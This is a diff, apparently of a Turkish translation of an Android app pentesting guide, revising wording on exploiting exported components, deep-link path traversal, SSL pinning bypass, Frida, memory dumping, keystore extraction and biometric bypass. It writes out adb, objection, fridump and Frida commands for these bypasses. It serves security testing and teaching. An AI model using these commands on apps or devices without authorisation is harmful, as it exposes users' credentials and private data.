öğreneceksiniz. +[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve altındaki işletim sistemiyle etkileşimde bulunabilir.\ +Drozer, **ihracat edilen aktiviteleri, ihracat edilen hizmetleri ve İçerik Sağlayıcıları** istismar etmek için yararlı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz. -### İhracat Edilen Etkinlikleri İstismar Etme +### İhracat Edilen Aktiviteleri İstismar Etme -[**Bir Android Etkinliği'nin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Ayrıca, bir etkinliğin kodunun **`onCreate`** metodunda başladığını unutmayın. +[**Bir Android Aktivitesinin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\ +Ayrıca, bir aktivitenin kodunun **`onCreate`** metodunda başladığını unutmayın. **Yetkilendirme atlatma** -Bir Etkinlik ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir etkinlik **ihracat edildiğinde**, **ona erişmek için** **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.** +Bir Aktivite ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat** edilmişse, **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz**. -[**Drozer ile ihracat edilen etkinlikleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities) +[**Drozer ile ihracat edilen aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities) -Ayrıca, adb'den bir ihracat edilen etkinliği başlatabilirsiniz: +Ayrıca adb'den bir ihracat edilen aktivite başlatabilirsiniz: - Paket Adı com.example.demo -- İhracat Edilen Etkinlik Adı com.example.test.MainActivity +- İhracat Edilen Aktivite Adı com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` @@ -334,16 +334,16 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcını ### İçerik Sağlayıcılarını Sömürme - Hassas bilgilere erişim ve manipülasyon [**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#content-provider)\ -İçerik sağlayıcıları temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals**'ı test etmek de ilginçtir çünkü bunlar zayıf olabilir. +İçerik sağlayıcılar temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals**'ı test etmek de ilginçtir çünkü bunlar zayıf olabilir. -[**Drozer ile İçerik Sağlayıcılarını nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#content-providers) +[**Drozer ile İçerik Sağlayıcıları nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#content-providers) ### **Hizmetleri Sömürme** -[**Bir Servisin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\ -Bir Servisin eylemlerinin `onStartCommand` metodunda başladığını unutmayın. +[**Bir Hizmetin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\ +Bir Hizmetin eylemlerinin `onStartCommand` metodunda başladığını unutmayın. -Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (ya da döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve **gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak...** için **dinamik olarak test etmelisiniz**.\ +Hizmet, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (ya da döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve **gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak...** için **dinamik olarak test etmelisiniz**.\ [**Drozer ile Hizmetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#services) ### **Broadcast Alıcılarını Sömürme** @@ -351,7 +351,7 @@ Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** [**Bir Broadcast Alıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\ Bir Broadcast Alıcının eylemlerinin `onReceive` metodunda başladığını unutmayın. -Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak, zayıf olabilir.\ +Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak zayıf olabilir.\ [**Drozer ile Broadcast Alıcılarını nasıl sömüreceğinizi öğrenin.**](#exploiting-broadcast-receivers) ### **Şemaları / Derin bağlantıları Sömürme** @@ -361,7 +361,7 @@ Bir tanımlanmış **şemayı** **adb** veya bir **tarayıcı** kullanarak **aç ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Not edin ki **paket adını atlayabilirsiniz** ve mobil otomatik olarak o bağlantıyı açması gereken uygulamayı çağıracaktır._ +_Not edin ki **paket adını atlayabilirsiniz** ve mobil, o bağlantıyı açması gereken uygulamayı otomatik olarak çağıracaktır._ ```html Click me @@ -370,7 +370,7 @@ _Not edin ki **paket adını atlayabilirsiniz** ve mobil otomatik olarak o bağl ``` **Kod çalıştırıldı** -Uygulamada **çalıştırılacak kodu bulmak için**, derin bağlantıyla çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın. +Uygulamada **çalıştırılacak kodu** bulmak için, derin bağlantıyla çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın. ![](<../../images/image (436) (1) (1) (1).png>) @@ -380,7 +380,7 @@ Her derin bağlantı bulduğunuzda, **URL parametreleri aracılığıyla hassas **Yolda parametreler** -**URL'nin yolunda bir parametre kullanıp kullanmadığını da kontrol etmelisiniz**: `https://api.example.com/v1/users/{username}` , bu durumda bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +**URL'nin yolunda bir parametre kullanan herhangi bir derin bağlantıyı da kontrol etmelisiniz**: `https://api.example.com/v1/users/{username}` , bu durumda bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (eğer yolun bir kısmı alan adı olarak kullanılıyorsa), **hesap ele geçirme** (eğer kullanıcı detaylarını CSRF token olmadan değiştirebiliyorsanız ve zayıf uç nokta doğru yöntemi kullanıyorsa) ve diğer zayıflıkları tetikleyebilirsiniz. Daha fazla [bilgi burada](http://dphoeniixx.com/2020/12/13-2/). **Daha fazla örnek** @@ -390,12 +390,12 @@ Bir [ilginç hata ödül raporu](https://hackerone.com/reports/855618) bağlant ### Taşıma Katmanı İncelemesi ve Doğrulama Hataları - **Sertifikalar her zaman düzgün bir şekilde incelenmez** Android uygulamaları tarafından. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır. -- **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortada (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır. -- **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken ancak diğer işlemler için güvenli olmayan kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz. +- **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanarak. Bu zayıflık, bağlantıyı adam ortada (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır. +- **Özel bilgilerin sızması** güvenli kanallar aracılığıyla kimlik doğrulaması yapan uygulamalar için bir risk oluşturur, ancak diğer işlemler için güvensiz kanallar üzerinden iletişim kurarlar. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz. #### Sertifika Doğrulama -**Sertifika doğrulama** üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü, güvenliği artırmak için doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesi önemli riskler oluşturabileceğinden kritik öneme sahiptir. Sunucu sertifikalarını doğrulama ve zayıflıkları giderme ile ilgili ayrıntılı adımlar için, [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlamaktadır. +**Sertifika doğrulama** üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü, güvenliği artırmak için doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesinin önemli riskler oluşturabileceği için kritik öneme sahiptir. Sunucu sertifikalarını doğrulama ve zayıflıkları ele alma konusunda ayrıntılı adımlar için, [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlamaktadır. #### SSL Pinning @@ -403,39 +403,39 @@ SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bi #### Trafik İncelemesi -HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme rehberi için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikasını yükleme konusunda bir rehber için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -**API Seviye 24 ve üzeri** hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Ağ Güvenliği Yapılandırmasında değişiklikler gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenliği Yapılandırmasını değiştirme talimatları için, [**bu eğitime başvurun**](make-apk-accept-ca-certificate.md). +**API Seviye 24 ve üzeri** hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Ağ Güvenlik Yapılandırmasında değişiklikler gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenlik Yapılandırmasını değiştirme talimatları için, [**bu eğitime başvurun**](make-apk-accept-ca-certificate.md). -#### SSL Pinning'i Aşma +#### SSL Pinning'i Atlatma -SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu aşmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur: +SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur: -- **apk'yi otomatik olarak değiştirerek** SSL Pinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi avantajı, SSL Pinning'i aşmak için root'a ihtiyaç duymamanızdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir. -- Bu korumayı aşmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma rehberiniz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- **SSL Pinning'i otomatik olarak aşmak için** [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- **SSL Pinning'i otomatik olarak aşmak için** **MobSF dinamik analizi** (aşağıda açıklandığı gibi) deneyebilirsiniz. +- **apk'yi otomatik olarak değiştirerek** SSLPinning'i **atlatmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi avantajı, SSL Pinning'i atlatmak için root'a ihtiyaç duymamanızdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir. +- Bu korumayı atlatmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma kılavuzunuz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- **SSL Pinning'i otomatik olarak atlatmayı** deneyebilirsiniz [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- **MobSF dinamik analizi** kullanarak da **SSL Pinning'i otomatik olarak atlatmayı** deneyebilirsiniz (aşağıda açıklanmıştır). - Hala yakalamadığınız bazı trafiğin olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Yaygın Web Zayıflıklarını Arama -Uygulama içinde yaygın web zayıflıklarını da aramak önemlidir. Bu zayıflıkları tanımlama ve hafifletme ile ilgili ayrıntılı bilgiler bu özetin kapsamının ötesindedir ancak başka yerlerde kapsamlı bir şekilde ele alınmaktadır. +Uygulama içinde yaygın web zayıflıklarını da aramak önemlidir. Bu zayıflıkları tanımlama ve hafifletme konusunda ayrıntılı bilgi, bu özetin kapsamının ötesindedir ancak başka yerlerde kapsamlı bir şekilde ele alınmaktadır. ### Frida -[Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik enstrümantasyon araç takımıdır.\ -**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri bağlayarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\ -Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanacağınızı bilmelisiniz. +[Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik bir enstrümantasyon aracıdır.\ +**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri yakalayarak davranışları değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\ +Android uygulamalarını pentest etmek istiyorsanız, Frida'yı nasıl kullanacağınızı bilmelisiniz. - Frida'yı nasıl kullanacağınızı öğrenin: [**Frida eğitimi**](frida-tutorial/index.html) - Frida ile eylemler için bazı "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection, Frida kullanımını otomatikleştirmek için harika: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Burada bazı harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını aşmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs)) +- Ojection, Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Burada bazı Harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını atlatmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs)) ### **Belleği Dökme - Fridump** -Uygulamanın, saklamaması gereken hassas bilgileri (şifreler veya mnemonikler gibi) bellekte saklayıp saklamadığını kontrol edin. +Uygulamanın, saklamaması gereken hassas bilgileri bellekte saklayıp saklamadığını kontrol edin, örneğin şifreler veya mnemonikler. [**Fridump3**](https://github.com/rootbsd/fridump3) kullanarak uygulamanın belleğini dökebilirsiniz: ```bash @@ -446,35 +446,35 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Bu, belleği ./dump klasörüne dökecektir ve burada şunlarla grep yapabilirsiniz: +Bu, ./dump klasöründe belleği dökecektir ve orada şunlarla grep yapabilirsiniz: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Keystore'daki Hassas Veriler** -Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişim sağlamak mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığı için pentestler, bu verileri çalabilecek fiziksel erişime sahip birinin veya root kullanıcısının kontrolünde kontrol edilmelidir. +Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığından, pentestlerin bunu root kullanıcı olarak kontrol etmesi gerekir; aksi takdirde, cihaza fiziksel erişimi olan birisi bu verileri çalabilir. Bir uygulama verileri keystore'da saklasa bile, verilerin şifrelenmiş olması gerekir. -Keystore içindeki verilere erişmek için bu Frida script'ini kullanabilirsiniz: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Keystore içindeki verilere erişmek için bu Frida betiğini kullanabilirsiniz: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Parmak İzi/Biyometrik Bypass** -Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının **belirli hassas alanları korumak için** gerçekleştirebileceği **parmak izi kimlik doğrulamasını atlamak** mümkün olabilir: +Aşağıdaki Frida betiğini kullanarak, Android uygulamalarının **belirli hassas alanları korumak** için gerçekleştirebileceği **parmak izi kimlik doğrulamasını atlamak** mümkün olabilir: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Arka Plan Görüntüleri** -Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık görüntüsünü** saklar, böylece ön plana geri döndüğünde, uygulama yüklenmeden önce görüntüyü yüklemeye başlar, bu da uygulamanın daha hızlı yüklendiği izlenimini verir. +Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık görüntüsünü** saklar, böylece ön plana geri döndüğünde, uygulama yüklenmeden önce görüntüyü yüklemeye başlar, böylece uygulamanın daha hızlı yüklendiği izlenimi verir. Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalıp alabilir** (erişim için root gereklidir). Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`** -Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, bu da ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller. +Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -484,25 +484,25 @@ Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı ### Intent Enjeksiyonu -Geliştiriciler genellikle bu Intents'leri işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri, hizmetleri ve yayın alıcıları oluştururlar; bu da riskli olabilir. +Geliştiriciler genellikle bu Intents'i işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri ve hizmetleri oluştururlar; bu da riskli olabilir. -Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; `Intent.parseUri(...)` aracılığıyla bunları işleyip çalıştırabilir, bu da kötü niyetli Intent enjeksiyonlarına yol açabilir. +Tehlike, saldırganların bu Intents'i yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, potansiyel olarak kötü niyetli Intent enjeksiyonlarına yol açabilir. ### Temel Çıkarımlar - **Intent Enjeksiyonu**, webin Açık Yönlendirme sorununa benzer. -- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu da güvensiz işlemleri yürütmek için yönlendirilebilir. +- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri yürütmek için yönlendirilebilir. - Dışa aktarılmamış bileşenleri ve içerik sağlayıcılarını saldırganlara açabilir. - `WebView`’in URL'den `Intent` dönüşümü, istenmeyen eylemleri kolaylaştırabilir. ### Android İstemci Tarafı Enjeksiyonları ve Diğerleri -Bu tür zafiyetler hakkında Web'den haberdar olmalısınız. Android uygulamasında bu zafiyetlere karşı özellikle dikkatli olmalısınız: +Bu tür güvenlik açıkları hakkında Web'den haberdar olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına özellikle dikkat etmelisiniz: - **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla çalışırken, parametreli sorgular kullandığınızdan emin olun. -- **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). -- **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkindir) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). -- **Sonsuz çerezler**: Android uygulaması oturumu bitirdiğinde çerez iptal edilmez veya hatta diske kaydedilebilir. +- **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışı). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). +- **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkin) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). +- **Sonsuz çerezler**: Birçok durumda, android uygulaması oturumu bitirdiğinde çerez iptal edilmez veya hatta diske kaydedilebilir. - [**Çerezlerde Güvenli Bayrak**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -523,14 +523,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest MobSF, **Android**(apk)**, IOS**(ipa) **ve Windows**(apx) uygulamalarını (_Windows uygulamaları, Windows ana bilgisayarında kurulu bir MobSF'den analiz edilmelidir_) analiz edebilir.\ Ayrıca, bir **Android** veya **IOS** uygulamasının kaynak koduyla bir **ZIP** dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), bunu da analiz edebilecektir. -MobSF ayrıca **diff/Compare** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasına ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Ayrıca `VT_UPLOAD`'ı `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**. +MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Ayrıca `VT_UPLOAD`'u `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**. ### MobSF ile Yardımlı Dinamik Analiz -**MobSF**, **Android**'de **dinamik analiz** için de çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmayacaktır). _Not: Önce **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız.**_\ +**MobSF**, **Android**'de **dinamik analiz** için de çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmayacaktır). _Not: Öncelikle **genymotion'da bir VM başlatmanız** ve **sonra MobSF'yi başlatmanız** gerekmektedir._\ **MobSF dinamik analizörü** şunları yapabilir: -- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**" butonuna basmanız gerekir. +- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini elde etmek için "**Exported Activity Tester**" butonuna basmanız gerekir. - **HTTPS trafiğini yakalama** - **Çalışma zamanı** **bilgilerini** elde etmek için **Frida** kullanma @@ -538,7 +538,7 @@ Android **sürümleri > 5**'ten itibaren, **Frida**'yı **otomatik olarak başla **Frida** -Varsayılan olarak, **SSL pinning**'i **bypass** etmek, **root tespiti** ve **hata ayıklayıcı tespiti** yapmak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\ +Varsayılan olarak, **SSL pinning**'i, **root tespiti**'ni ve **hata ayıklayıcı tespiti**'ni atlamak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\ MobSF ayrıca **dışa aktarılan etkinlikleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**. Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve bağlı yöntemlere yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\ @@ -550,16 +550,16 @@ Ayrıca, bazı Yardımcı Frida işlevsellikleriniz var: - **Yüklenen Sınıfları Sayma**: Tüm yüklenen sınıfları yazdırır - **Dizeleri Yakalama**: Uygulamayı kullanırken tüm yakalanan dizeleri yazdırır (çok gürültülü) -- **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun True veya False olup olmadığını **gösterir**. -- **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") yazın ve sınıfın tüm yöntemlerini yazdırır. -- **Sınıf Deseni Arama**: Desene göre sınıfları arar -- **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izler** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görür). Unutmayın ki varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler. 